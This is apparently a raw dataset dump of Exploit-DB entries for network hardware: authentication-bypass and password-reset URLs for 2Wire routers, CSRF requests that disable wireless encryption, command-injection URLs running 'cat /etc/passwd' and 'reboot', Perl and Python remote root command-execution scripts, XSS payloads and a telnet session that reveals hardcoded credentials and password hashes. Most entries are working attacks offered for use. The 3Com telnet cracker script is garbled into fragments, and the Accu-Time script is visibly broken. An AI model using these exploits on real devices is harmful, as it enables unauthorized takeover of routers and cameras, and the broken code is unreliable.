deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9422
Description: 2WIRE Gateway - Authentication Bypass / Password Reset (1)
Type: remote
Platform: hardware
Date: 2009-08-12
Author: hkm

Exploit:
2WIRE GATEWAY AUTHENTICATION BYPASS & PASSWORD RESET (08/04/09)
==============================================================


  DESCRIPTION
-----------------
There is an authentication bypass vulnerability in page=CD35_SETUP_01 that
allows you to set a new password even if the password was previously set.

By setting a new password with more than 512 characters the password gets
reset and next time you access the router you will be prompted for a new
password.


  VULNERABLE
----------------
2Wire 2071 Gateway
2Wire 1800HW
2Wire 1701HG

 Firmware
5.29.51
3.17.5
3.7.1

  NOT VULNERABLE
--------------------
 Firmware
5.29.135.5 or later


  DISCLOSURE TIMELINE
-------------------------
03/27/2009 - 2wire Contacted no satisfactory response
07/11/2009 - Sent complete details to 2wire no response
07/17/2009 - Sent advisory with video demo to 2wire ticket status escalated, but no response
08/02/2009 - Made public @ Defcon 17


  EXPLOIT/POC
-----------------
Authentication Bypass - just use this page to set a new password

    http://gateway.2wire.net?xslt?page=CD35_SETUP_01

Video: http://www.hakim.ws/2wire/2wire_CD35_Bypass.ogv


Password Reset - using the same form but sending a password > 512 characters

http://gateway.2wire.net/xslt?PAGE=CD35_SETUP_01_POST&password1=hkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkh
kmhkmhkmhkmhkmhkmhkmhkm&password2=hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkhkmhkmhkmhkmhkmhkmhkmhkm

Video: http://www.hakim.ws/2wire/2wire_CD35_Reset.ogv


  GREETS
------------
sdc lightos pcp nitr0us 0xf alt3kx darko DeadSector Etal gwolf h4ckult1m4t3
hackerss hd k00l kaz Kbrown mendozaaaa nahual Napa nediam raza-mexicana roa
Setting sla.ckers thornmaker tr3w vandida vi0let xianur0 Yield

  Comunidad Underground de Mexico : https://www.underground.org.mx


            h k m
     http://www.hakim.ws

# milw0rm.com [2009-08-12]
Exploit-DB #33165
Description: 2WIRE Routers - 'CD35_SETUP_01' Access Validation
Type: remote
Platform: hardware
Date: 2009-08-12
Author: hkm

Exploit:
source: https://www.securityfocus.com/bid/36031/info

Multiple 2Wire routers are prone to an access-validation vulnerability because they fail to adequately authenticate users before performing certain actions.

Unauthenticated attackers can leverage this issue to change the router's administrative password. Successful attacks will completely compromise affected devices.

2Wire routers prior to Firmware version 5.29.135.5 are vulnerable. 

The following example URIs are available:

http://gateway.example.net?xslt?page=CD35_SETUP_01
http://gateway.example.net/xslt?PAGE=CD35_SETUP_01_POST&password1=*Ax512*&password2=*Ax512*
Exploit-DB #31078
Description: 2WIRE Routers - 'H04_POST' Access Validation
Type: remote
Platform: hardware
Date: 2008-01-30
Author: Oligarchy Oligarchy

Exploit:
source: https://www.securityfocus.com/bid/27516/info

Multiple 2Wire routers are prone to an access-validation vulnerability because they fail to adequately authenticate users before performing certain actions.

Unauthenticated attackers can leverage this issue to change the password of arbitrary user accounts on the router. Successful attacks will completely compromise affected devices.

2Wire routers that have the 'H04_POST' page are affected by this issue.

UPDATE: This BID has been retired because it has been found to be a duplicate of BID 27246 (2Wire Routers Cross-Site Request Forgery Vulnerability).

UPDATE (February 1, 2008): This BID is being reinstated. Further investigation and new information reveal that this vulnerability differs from the one described in BID 27246. 

http://www.example.com/xslt?PAGE=H04_POST&[CREDENTIAL_REDACTED]_CONF=admin
Exploit-DB #31013
Description: 2WIRE Routers - Cross-Site Request Forgery
Type: remote
Platform: hardware
Date: 2008-01-15
Author: hkm

Exploit:
source: https://www.securityfocus.com/bid/27246/info

Multiple 2Wire routers are prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to execute arbitrary actions on an affected device. 

Set a password (NUEVOPASS):
http://192.168.1.254/xslt?PAGE=A05_POST&THISPAGE=A05&NEXTPAGE=A05_POST&ENABLE_PASS=on&[CREDENTIAL_REDACTED]_CONF=NUEVOPASS

Add names to the DNS:
http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.example.com&ADDR=127.0.0.1

Disable Wireless Authentication
http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&NAME=encrypt_enabled&VALUE=0

Set Dynamic DNS
http://192.168.1.254/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE
Exploit-DB #24681
Description: 3Com 3CRADSL72 ADSL Wireless Router - Information Disclosure / Authentication Bypass
Type: remote
Platform: hardware
Date: 2004-10-13
Author: Karb0nOxyde

Exploit:
source: https://www.securityfocus.com/bid/11408/info

3Com 3CRADSL72 is reported prone to an information disclosure, and an authentication bypass vulnerability. This issue can allow a remote attacker to disclose sensitive information such as the router name, primary and secondary DNS servers, default gateway. Attackers could also reportedly gain administrative access to the router.

If successful, these vulnerabilities can be used to the launch of other attacks against the device and other users on the vulnerable network.

http://www.example.com/app_sta.stm
Exploit-DB #9862
Description: 3Com OfficeConnect - Code Execution
Type: remote
Platform: hardware
Date: 2009-10-19
Author: Andrea Fabizi

Exploit:
####### Remote command execution  #######

http://1.2.3.4/utility.cgi?testType=1&IP=aaa || cat /etc/passwd

To see the command output you need to log into the router, however the
command is executed even the user is not logged in, so if you don't
have access to the device a DOS is also possible:

http://1.2.3.4/utility.cgi?testType=1&IP=aaa || reboot
Exploit-DB #30164
Description: 3Com OfficeConnect Secure Router 1.04-168 - 'Tk' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2007-06-08
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/24374/info

OfficeConnect Secure Router is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

This issue affects OfficeConnect Secure Router firmware 1.04-168; other versions may also be affected. 

http://example.com/cgi-bin/admin?page=1&tk=>[xss]
Exploit-DB #8022
Description: 3Com OfficeConnect Wireless Cable/DSL Router - Authentication Bypass
Type: remote
Platform: hardware
Date: 2009-02-09
Author: ikki

Exploit:
==================================================== 
3Com OfficeConnect Wireless Cable/DSL Router Authentication Bypass

Original Advisory: 
http://www.ikkisoft.com/stuff/LC-2008-05.txt

luca.carettoni[at]ikkisoft[dot]com
==================================================== 

An unauthenticated user may directly invoke the "SaveCfgFile" CGI program and 
easily download the system configuration containing configuration information, 
users, passwords, wifi keys and other sensitive information.

http://<IP>/SaveCfgFile.cgi

# milw0rm.com [2009-02-09]
Exploit-DB #21011
Description: 3Com SuperStack II PS Hub 40 - TelnetD Weak Password Protection
Type: remote
Platform: hardware
Date: 2001-07-12
Author: Siberian

Exploit:
source: https://www.securityfocus.com/bid/3034/info

A vulnerability exists in certain models of 3Com hubs and potentially other 3Com network products.

The affected devices fail to properly restrict the allowed number of login attempts to the inbuilt telnet-based administration interface from remote users. Attackers can use brute-force cracking techniques in obtaining access to 3Com telnetd config accounts.

Exploiting this, a malicious user can interfere with the device's operation and configuration, creating denials of service and further compromising the network on which the device is installed. 

#!/usr/bin/perl -w

#######################esponsible for any damgae caused  #
# by the###########################################
rf, chr(13), chr(10);

recv(SOCK,$ol,1,0);
$passwd,0); 
   }
   recv(SOCK,$ol,1,0);
 $i++
}
$i=1;
}
print "\n\nIt's sad but true, you failed.\n";
}


print "\n3Com Hardware Telnet Login Cracker, written by Siberian \- Sentry Research Labs\n\n";
print "Get the latest Version at www.sentry-labs.com\n\n [target host] [dictionary] (username)";
$us= inet_aton($remote) or die "No target host computer found!";
$paddr = sockaddr_in(23, $iesspass();

close(FILE1);
close(SOCK);
exit 0;
Exploit-DB #22416
Description: 3Com SuperStack II RAS 1500 - Unauthorized Access
Type: remote
Platform: hardware
Date: 2003-03-24
Author: Piotr Chytla

Exploit:
source: https://www.securityfocus.com/bid/7176/info

A vulnerability has been reported in 3Com RAS 1500 router that may allow attackers to access sensitive data. Specifically, RAS 1500 devices fail to carry out authentication when requests are made for various files that may contain sensitive information.

GET /user_settings.cfg HTTP/1.0
Exploit-DB #32591
Description: 3Com Wireless 8760 Dual-Radio 11a/b/g PoE - Multiple Vulnerabilities
Type: remote
Platform: hardware
Date: 2008-11-19
Author: Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/32358/info

3Com Wireless 8760 Dual-Radio 11a/b/g PoE Access Point is prone to multiple security vulnerabilities, including an HTML-injection issue and an authentication-bypass issue.

Successfully exploiting these issues will allow an attacker to obtain administrative credentials, bypass security mechanisms, or run attacker-supplied HTML and script code in the context of the web administration interface. The attacker may then be able to steal cookie-based authentication credentials or control how the site is rendered to the user; other attacks are also possible. 

snmpset -v2c -c private 192.168.1.1 sysName.0 s "PAYLOAD_GOES_HERE"
Exploit-DB #31031
Description: 8E6 R3000 Internet Filter 2.0.5.33 - URI SecURIty Bypass
Type: remote
Platform: hardware
Date: 2008-01-16
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/27309/info

8e6 R3000 Internet Filter is prone to a vulnerability that allows attackers to bypass URI filters.

Attackers can exploit this issue by sending specially crafted HTTP request packets for an arbitrary website. Successful exploits allow attackers to view sites that the device is meant to block access to. This could aid in further attacks.

R3000 Internet Filter 2.0.05.33 is vulnerable; other versions may also be affected. 

packet 1: GE
packet 2: T / HTTP/1.0\r\n




packet 1: GET / HTTP/1.0
X-SomeHeader: ...
....

packet 2: X-SomeOtherHeader: ....
Host: www.example.com
...
Exploit-DB #50620
Description: Accu-Time Systems MAXIMUS 1.0 - Telnet Remote Buffer Overflow (DoS)
Type: remote
Platform: hardware
Date: 2022-01-05
Author: Yehia Elghaly

Exploit:
# Exploit Title: Accu-Time Systems MAXIMUS 1.0 - Telnet Remote Buffer Overflow (DoS)
# Discovered by: Yehia Elghaly
# Discovered Date: 22/12/2021
# Vendor Homepage: https://www.accu-time.com/
# Software Link : https://www.accu-time.com/maximus-employee-time-clock-3/
# Tested Version: 1.0
# Vulnerability Type:  Buffer Overflow (DoS) Remote
# Tested on OS: linux 

# Description: Accu-Time Systems MAXIMUS 1.0 Telnet Remote Buffer Overflow

# Steps to reproduce:
# 1. - Accu-Time Systems MAXIMUS 1.0 Telnet listening on port 23
# 2. - Run the Script from remote PC/IP
# 3. - Telnet Crashed

#!/usr/bin/env python3

import socket
import sys
print("#######################################################")
print("# Accu-Time Systems MAXIMUS Remote (BUffer Overflow)  #")
print("#   	        --------------------------               #")
print("#               BY  Yehia Elghaly                     #")
print("#######################################################")

if (len(sys.argv)<2):
	print ("Usage: %s <Target Host> ") % sys.argv[0]
	print ("Example: %s 192.168.113.1 ") % sys.argv[0]
	exit(0)

print ("\nSending Evil.......Buffer...")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
 s.connect((sys.argv[1], 23))
 buffer = "A"*9400
 s.send(" Crashed Check the connection")
 Print ("Crashed")
except:
 print ("Could not connect to ACCU Time Telnet!")
Exploit-DB #40720
Description: Acoem 01dB CUBE/DUO Smart Noise Monitor - Password Change
Type: remote
Platform: hardware
Date: 2016-11-07
Author: Todor Donev

Exploit:
#!/bin/sh
# 
#  Acoem 01dB CUBE Smart Noise Monitoring Terminal
#  Remote Password Change
#  
#  HW version:       LIS001A
#  Application FW:   2.34
#  Metrology FW:     2.10
#  Modem FW:         12.00.005 / 08.01.108
# 
#
#  Copyright 2016 (c) Todor Donev 
#  <todor.donev at gmail.com>
#  https://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#  Thanks to Maya Hristova that support me.  

[todor@adamantium ~]$ GET "http://<TARGET>/ajax/F_validPassword.asp?NewPwd=<PASSWORD>"
Exploit-DB #16993
Description: ACTi ASOC 2200 Web Configurator 2.6 - Remote Command Execution
Type: remote
Platform: hardware
Date: 2011-03-17
Author: Todor Donev

Exploit:
#!perl
#  ACTi ASOC 2200 Web Configurator <= v2.6 Remote Root Command Execution
##
#  Dicovery & Author: Todor Donev
#  Author mail: todor.donev@@gmail.com
#  Type: Hardware
#  Vuln Type and Risk: Remote / High
##
#  ACTi Corporation is the technology leader in IP surveillance,
#  focusing on multiple security surveillance market segments.
##
#  root@linux:~# perl actiroot.pl <CENSORED> 
#  [+] ACTi ASOC 2200 Web Configurator <= v2.6 Remote Root Command Execution
#  [+] Gewgl: intitle:"Web Configurator - Version v2.6"
#  # id
#   execute : /sbin/iperf -c ;id  &
#   uid=0(root) gid=0(root)        ### Got Root ? o.O
##
#  Special kind regards to Tsvetelina Emirska that support me !! :) 
#
#  Prayers to all the People in Japan from Bulgaria !!!!! 
#
use LWP::Simple; 
print "[+] ACTi ASOC 2200 Web Configurator <= v2.6 Remote Root Command Execution\n";
print "[+] Gewgl: intitle:\"Web Configurator - Version v2.6\"\n";
$host = $ARGV[0];
$cmd = $ARGV[1];
if(! $ARGV[0]) {
print "[+] usage: perl actiroot.pl <host> <cmd>\n";
exit;
}
if(! $ARGV[1]) {
$cmd = "id";
}
my $result = get("http://$host/cgi-bin/test?iperf=;$cmd &");
if (defined $result) {
print "# $cmd\n $result";
}
else {
print "[-] Not Vulnerable\n";
}
Exploit-DB #43118
Description: Actiontec C1000A Modem - Backdoor Account
Type: remote
Platform: hardware
Date: 2017-11-04
Author: Joseph McDonagh

Exploit:
# Exploit Title: Actiontec C1000A backdoor account
# Google Dork: NA
# Date: 11/04/2017
# Exploit Author: Joseph McDonagh
# Vendor Homepage: https://actiontecsupport.zendesk.com/hc/en-us
# Software Link: N/A Hardware
# Version: Firmware CAC003-31.30L.86
# Tested on: Linux
# CVE : NA

# The Actiontec C1000A Modem provided by CenturyLink has hardcoded passwords. This is similar to another recent submission by Matthew Shiemo, who inspired me to check the device I use.

# Proof of Concept

$ telnet 192.168.0.1
===Actiontec xDSL Router===
Login: admin
[CREDENTIAL_REDACTED]
 > sh
 
 BusyBox v1.17.2 (2015-10-30 10:34:29 CST built-in shell (ash)
 Enter 'help' for a list of build-in commands
 
 # cat /etc/passwd
 admin:Rtqa.nQhYPBRo:0:0:Administratir:/:/bin/sh
 support:vmiTSa8ukDkOY:0:0:Technical Support:/:/bin/sh
 user:Fq10qi6QmLmmY:0:0:Normal User:/:/bin/sh
 nobody:rZy3YulyLvuYU:0:0:nobody for ftp:/bin/sh
 # cat /proc/version
 Linux version 2.6.30 (waye@hugh-PowerEdge-R220.home) (gcc version 4.4.2 (Buildroot 2010.02-git) ) #1 SMP PREEMPT Fri Oct 30 12:32:15 CST 2015
 # cat /etc/group
 root::0:root,admin,support,user
Exploit-DB #31342
Description: Airspan ProST WiMAX Device - Web Interface Authentication Bypass
Type: remote
Platform: hardware
Date: 2008-03-06
Author: Francis Lacoste-Cordeau

Exploit:
source: https://www.securityfocus.com/bid/28122/info

Airspan ProST WiMAX device is prone to an authentication-bypass vulnerability because it fails to perform adequate authentication checks in the web interface.

An attacker can exploit this issue to gain unauthorized access to the affected device and make arbitrary changes to its configuration. This may lead to further attacks.

POST /process_adv/ HTTP/1.1
Host: 10.0.0.1
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

DialogText=&Advanced=1
Exploit-DB #50960
Description: Algo 8028 Control Panel - Remote Code Execution (RCE) (Authenticated)
Type: remote
Platform: hardware
Date: 2022-06-14
Author: Filip Carlsson

Exploit:
# Exploit Title: Algo 8028 Control Panel - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:"Algo 8028 Control Panel"
# Shodan: title:"Algo 8028 Control Panel"
# Date: 2022-06-07
# Exploit Author: Filip Carlsson
# Vendor Homepage: https://www.algosolutions.com/
# Software Link: https://www.algosolutions.com/firmware-downloads/8028-firmware-selection/
# Version: 3.3.3
# Tested on: Version 3.3.3
# CVE : N/A
# Exploit:

# Due to bad sanitation in http://<IP:PORT>/control/fm-data.lua you can do command injection as root
# Request: POST
# Formdata:
# action: rename
# source: /a";echo $(id) 2>&1 > /opt/algo/web/root/cmd.txt;"
# target: /

#!/usr/bin/env python3
import sys
import requests

cookie=None

def main():
    # check if provided 3 args
    if len(sys.argv) != 4:
        print_help()
        return
    else:
        host = sys.argv[1]
        password = sys.argv[2]
        command = sys.argv[3]

        if login(host, password):
            # if login was successful, send command
            send_command(host, command)

def print_help():
    print("Usage: algo.py 192.168.1.123 password command")
    print("Example: algo.py 192.168.123 algo \"cat /etc/passwd\"")

def login(host, password):
    url = f"http://{host}/index.lua"
    data = {"pwd": password}
    res = requests.post(url, data=data)

    # check if html contains "Invalid Password"
    if "Invalid Password" in res.text:
        print("Invalid password")
        return False
    else:
        # save cookie
        global cookie
        cookie = res.cookies
        print("Successfully logged in\n")
        return True

def send_command(host, command):
    url = f"http://{host}/control/fm-data.lua"
    data = {"action": "rename", "source": f"/a\";echo $({command}) 2>&1 > /opt/algo/web/root/a.txt;\"", "target": "/"}
    res = requests.post(url, data=data, cookies=cookie)

    # get http://host/cmd.txt
    url = f"http://{host}/a.txt"
    res = requests.get(url)

    # if "404 Not Found" in text then command was not executed
    if "404 Not Found" in res.text:
        print("Command was not executed (404)")
    else:
        print(res.text)

    # delete cmd.txt
    url = f"http://{host}/control/fm-data.lua"
    data = {"action": "rename", "source": f"/a\";$(rm -rf /opt/algo/web/root/a.txt);\"", "target": "/"}
    requests.post(url, data=data, cookies=cookie)

if __name__ == "__main__":
    main()
Exploit-DB #38692
Description: AlgoSec Firewall Analyzer - Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2013-08-16
Author: Asheesh kumar Mani Tripathi

Exploit:
source: https://www.securityfocus.com/bid/61733/info

AlgoSec Firewall Analyzer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

AlgoSec Firewall Analyzer 6.1-b86 is affected; other versions may also be vulnerable. 

http//www.example.com/afa/php/Login.php/>'><ScRiPt>alert(11111111)</ScRiPt> HTTP/1.1